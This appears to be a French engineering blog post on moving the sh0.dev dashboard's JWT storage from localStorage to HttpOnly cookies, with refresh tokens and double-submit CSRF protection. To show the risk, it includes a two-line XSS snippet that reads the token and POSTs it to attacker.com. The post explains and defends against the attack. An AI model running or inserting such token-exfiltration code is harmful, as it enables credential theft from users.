Pendant les onze premiers jours de construction de sh0.dev, nous stockions les jetons JWT en localStorage. Cela fonctionnait. Le tableau de bord Svelte sauvegardait le jeton à la connexion, l'attachait comme header Bearer à chaque appel API, et le passait comme paramètre de requête pour les connexions WebSocket. Authentification SPA standard, comme l'enseignent des centaines de tutoriels.
C'est aussi fondamentalement non sécurisé.
Au jour douze, notre audit de sécurité a signalé le stockage de jetons en localStorage comme un problème de sévérité moyenne. Au jour dix-sept, nous l'avons entièrement arraché et remplacé par des cookies HTTP-only, un flux de jeton de rafraîchissement et une protection CSRF en double soumission.
Pourquoi les jetons localStorage sont un problème
Le problème est simple : tout JavaScript s'exécutant sur votre origine peut lire le localStorage. Si un attaquant trouve une seule vulnérabilité XSS, il peut exécuter :
javascriptconst token = localStorage.getItem('sh0_token');
fetch('https://attacker.com/steal', { method: 'POST', body: token });Fin de partie. L'attaquant a un JWT valide avec accès API complet.
Les cookies HTTP-only éliminent entièrement ce vecteur d'attaque. Un cookie avec le flag HttpOnly ne peut pas être lu par JavaScript. Le navigateur l'attache automatiquement aux requêtes, mais document.cookie ne retourne rien.
L'architecture des cookies
Nous avons remplacé le JWT unique par trois cookies :
| Cookie | Objectif | Flags | Expiration |
|---|---|---|---|
sh0_access | Jeton d'accès JWT | HttpOnly, Secure, SameSite=Strict, Path=/api | 15 minutes |
sh0_refresh | Jeton de rafraîchissement | HttpOnly, Secure, SameSite=Strict, Path=/api/auth/refresh | 30 jours |
sh0_csrf | Jeton CSRF double soumission | SameSite=Strict, Path=/ (lisible par JS) | Session |
Le jeton d'accès est de courte durée -- 15 minutes au lieu des 7 jours originaux. Quand il expire, le frontend appelle silencieusement /api/auth/refresh.
Protection CSRF en double soumission
Les cookies HTTP-only introduisent un nouveau problème : le CSRF. Nous utilisons le pattern de double soumission de cookie :
- À la connexion, le serveur génère un jeton CSRF aléatoire et le place dans le cookie
sh0_csrf(lisible par JavaScript) - Le frontend lit ce cookie et inclut sa valeur dans le header
X-CSRF-Tokenà chaque requête modifiant l'état - Le middleware serveur compare la valeur du header
X-CSRF-Tokenavec la valeur du cookiesh0_csrf
Cela fonctionne parce qu'un attaquant cross-origin peut faire envoyer le cookie par le navigateur mais ne peut pas le lire (politique de même origine).
Authentification WebSocket via cookies
L'implémentation WebSocket originale passait le JWT comme paramètre de requête -- visible dans les logs, l'historique du navigateur et les headers Referer. Avec l'auth par cookie, les cookies sont envoyés automatiquement pendant le handshake d'upgrade WebSocket -- pas d'attachement manuel de jeton nécessaire.
Compatibilité ascendante
La migration maintient la compatibilité ascendante via une chaîne de priorité dans l'extracteur AuthUser :
- Header Bearer -- outils CLI, intégrations API
- Cookie
sh0_access-- tableau de bord navigateur - Cookie legacy
sh0_session-- anciennes versions du tableau de bord - Clé API -- si la valeur Bearer commence par
sh0_
La migration est non cassante. Les scripts CLI existants continuent de fonctionner.
Points clés
- Les jetons localStorage sont un anti-pattern. Toute vulnérabilité XSS devient un vol persistant d'identifiants.
- Accès de courte durée + rafraîchissement de longue durée est l'architecture correcte.
- La protection CSRF est obligatoire avec l'auth par cookie.
- L'auth WebSocket appartient aux cookies, pas aux paramètres de requête.
- Maintenir la compatibilité ascendante via une chaîne de priorité dans l'extracteur d'auth.
Prochain dans la série : Prévention de l'injection de commandes dans un PaaS.